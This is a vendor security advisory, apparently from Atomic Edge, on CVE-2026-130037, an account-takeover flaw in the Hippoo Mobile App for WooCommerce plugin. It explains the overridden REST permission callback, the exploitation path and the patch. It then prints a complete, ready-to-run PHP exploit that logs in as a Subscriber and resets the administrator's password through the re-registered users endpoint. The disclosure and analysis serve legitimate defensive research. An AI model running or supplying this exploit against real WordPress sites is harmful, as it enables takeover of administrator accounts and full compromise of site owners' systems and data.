Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-130037: The Hippoo Mobile App for WooCommerce plugin (versions <= 1.13.0) contains a privilege escalation vulnerability via account takeover. The flaw resides in the plugin's REST route re-registration mechanism and permission callback override logic. An authenticated attacker with Subscriber-level access can exploit this to take over any user account, including Administrator, by sending a crafted PUT request to the vulnerable endpoint. The CVSS score is 7.5 (High).
The root cause is in `hippoo/app/permissions/access.php`: the function `hippoo_permissions_override_extension_permission_callback()` unconditionally replaces the original `permission_callback` of re-registered routes with `'__return_true'` when the current user's role has 'Access extensions' enabled and the per-role extension allowlist is empty. This empty allowlist is the default state after enabling 'Access extensions' in the plugin's Role & permissions settings. Concurrently, `hippoo_rest_re_register_external_routes()` (referenced in the CVE description, though the diff does not show its implementation) re-registers every non-Hippoo REST route under the `/wc-hippoo/v1/ext` namespace. This includes the core WordPress `/wp/v2/users` endpoint, which is mapped to `/wc-hippoo/v1/ext/wp/v2/users/{id}`. As a result, the original capability checks (e.g., `edit_user`, `promote_users`) are discarded and replaced with a blanket true return, allowing any authenticated user with the vulnerable role configuration to invoke the endpoint.
The exploitation is straightforward. An attacker with Subscriber-level credentials sends an authenticated PUT request to `/wp-json/wc-hippoo/v1/ext/wp/v2/users/1` (where 1 is the administrator's user ID). The request body includes a `password` parameter set to a new value chosen by the attacker. Because the permission callback is overridden to `__return_true`, `WP_REST_Users_Controller::update_item()` processes the request without verifying the attacker's capabilities. The controller updates the target user's password, thereby granting the attacker full control over that account. The attacker can then log in as the administrator and perform any administrative actions, including installing plugins, modifying themes, and creating new admin users. This vulnerability does not promote the attacker's original account; instead, it facilitates account takeover of an existing privileged account.
The patch addresses the vulnerability by hardening the permission callback override in `hippoo/app/permissions/access.php`. The updated function now restricts the override to only core WordPress plugin management routes (routes starting with `/wp/v` and containing `/plugins`). It returns the original `$default_callback` for all other routes, preserving the core capability checks. Additionally, the logic for handling empty extension allowlists was changed: instead of returning `'__return_true'`, it now also returns `$default_callback`. Furthermore, the new code constructs a closure to check if the requested plugin slug is within the allowed list when the allowlist is not empty. These changes ensure that the re-registered `/wp/v2/users` endpoint is no longer vulnerable to unauthorized access, as its original permission callback is maintained.
The impact of successful exploitation is severe. An attacker can take over any user account, including administrators, leading to complete site compromise. The attacker gains the ability to read, modify, or delete all site data, install malicious plugins or backdoors, and potentially execute arbitrary code. This undermines the confidentiality, integrity, and availability of the entire WordPress installation. Given the low attack complexity and the default configuration vulnerability, this poses a critical risk to affected sites.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-130037 - Hippoo Mobile App for WooCommerce <= 1.13.0 - Authenticated (Subscriber+) Privilege Escalation via Account Takeover to /wc-hippoo/v1/ext/wp/v2/users/{id} REST API Endpoint
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$subscriber_username = 'subscriber'; // Subscriber-level username
$subscriber_password = 'password'; // Subscriber-level password
$admin_user_id = 1; // Target administrator user ID
$new_password = 'NewAdminPass123!'; // New password to set for admin
// Step 1: Authenticate as Subscriber and obtain a nonce for the REST API
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $subscriber_username,
'pwd' => $subscriber_password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Retrieve a nonce for the REST API (necessary for cookie authentication)
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$nonce = trim(curl_exec($ch));
curl_close($ch);
if (!$nonce) {
die('Failed to obtain REST nonce. Ensure credentials are correct and REST API is enabled.');
}
// Step 3: Send PUT request to the vulnerable endpoint to change admin password
$endpoint = $target_url . '/wp-json/wc-hippoo/v1/ext/wp/v2/users/' . $admin_user_id;
$data = json_encode(['password' => $new_password]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "Success! Admin password changed to: $new_passwordn";
echo "You can now log in as admin with username 'admin' and the new password.n";
} else {
echo "Exploit failed. HTTP code: $http_codenResponse: $responsen";
}
// Clean up cookie file
@unlink('/tmp/cookies.txt');
?>